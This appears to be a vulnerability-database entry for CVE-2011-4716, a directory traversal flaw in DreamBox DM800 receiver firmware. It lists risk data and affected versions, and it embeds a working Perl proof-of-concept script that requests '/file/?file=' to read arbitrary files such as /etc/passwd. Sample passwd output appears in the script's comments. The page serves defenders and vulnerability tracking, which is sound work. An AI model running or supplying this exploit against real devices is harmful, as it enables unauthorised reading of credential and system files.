CVE-2011-4716

medium
Published 2011-12-08 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
6.0

Description

Directory traversal vulnerability in file in DreamBox DM800 1.6rc3, 1.5rc1, and earlier allows remote attackers to read arbitrary files via the file parameter.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-17422 remote hardware verified
ShellVision ยท 2011-06-21

DreamBox DM800 - Arbitrary File Download

Source code queued for fetch โ€” refresh in a moment.
EDB-18079 remote hardware bash ยท 2 KB
Todor Donev ยท 2011-11-04

DreamBox DM800 1.5rc1 - File Disclosure

bash exploit Source: Exploit-DB
#!/usr/bin/perl
#  DreamBox DM800 <= 1.5rc1 Remote File Disclosure Exploit
#
#  Author: Todor Donev
#  Email: todor.donev@@gmail.com
#  Type: Hardware
#  Vuln Type: Remote
#####
#  Product summary: DreamBox DM800 is Powerful receiver 
#  for digital TV and Radio programs based on Linux.
#  Product web page: http://www.dream-multimedia-tv.de
#####
# playground$ perl dreambox.pl target /etc/passwd
# [+] DreamBox DM800 <= 1.5rc1 Remote File Disclosure Exploit
#
# root:<CENSORED>:0:0:root:/home/root:/bin/sh
# daemon:*:1:1:daemon:/usr/sbin:/bin/sh
# bin:*:2:2:bin:/bin:/bin/sh
# sys:*:3:3:sys:/dev:/bin/sh
# sync:*:4:65534:sync:/bin:/bin/sync
# games:*:5:60:games:/usr/games:/bin/sh
# man:*:6:12:man:/var/cache/man:/bin/sh
# lp:*:7:7:lp:/var/spool/lpd:/bin/sh
# mail:*:8:8:mail:/var/mail:/bin/sh
# news:*:9:9:news:/var/spool/news:/bin/sh
# uucp:*:10:10:uucp:/var/spool/uucp:/bin/sh
# proxy:*:13:13:proxy:/bin:/bin/sh
# www-data:*:33:33:www-data:/var/www:/bin/sh
# backup:*:34:34:backup:/var/backups:/bin/sh
# list:*:38:38:Mailing List Manager:/var/list:/bin/sh
# irc:*:39:39:ircd:/var/run/ircd:/bin/sh
# gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
# nobody:*:65534:65534:nobody:/nonexistent:/bin/sh
# avahi:x:500:64002:Avahi:/var/run/avahi-daemon:/bin/sh
# ftp:x:501:64003:Linux User,,,:/var/tmp/ftp:/bin/false
# gbox:<CENSORED>:0:0::/:/bin/sh
#
# playground$
#####
#  Thanks to all my friends and special to the best Tsvetelina Emirska, 
#  that support and respect me !! =) 
#####
use LWP::Simple; 
print "[+] DreamBox DM800 <= 1.5rc1 Remote File Disclosure\n";
$host = $ARGV[0];
$d = $ARGV[1];
if(! $ARGV[0]) {
print "[!] usg: perl dreambox.pl <host> </path/file>\n";
exit;
}
if(! $ARGV[1]) {
$d = "/etc/passwd";
}
## Edit here for exploitng DreamBox DM800 <= 1.6rc3 
# my $result = get("http://$host/file?file=$d"); 
## Greetings for ShellVision who found this bug in version 1.6rc3
my $result = get("http://$host/file/?file=$d");
if (defined $result) {
print "\n$result";
}
else {
print "[-] Not vuln.. =(";
}
EDB-36286 webapps hardware verified
Todor Donev ยท 2011-11-04

DreamBox DM800 - 'file' Local File Disclosure

Source code queued for fetch โ€” refresh in a moment.

Application impact

VendorProductVersionsFixed
dream-multimedia-tvdreambox_dm800_hd_se_firmware{"endIncluding":"1.6"}
dream-multimedia-tvdreambox_dm800_hd_se_firmware1.5
dream-multimedia-tvdreambox_dm800_hd_pvr_firmware1.5
dream-multimedia-tvdreambox_dm800_hd_pvr_firmware1.6

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.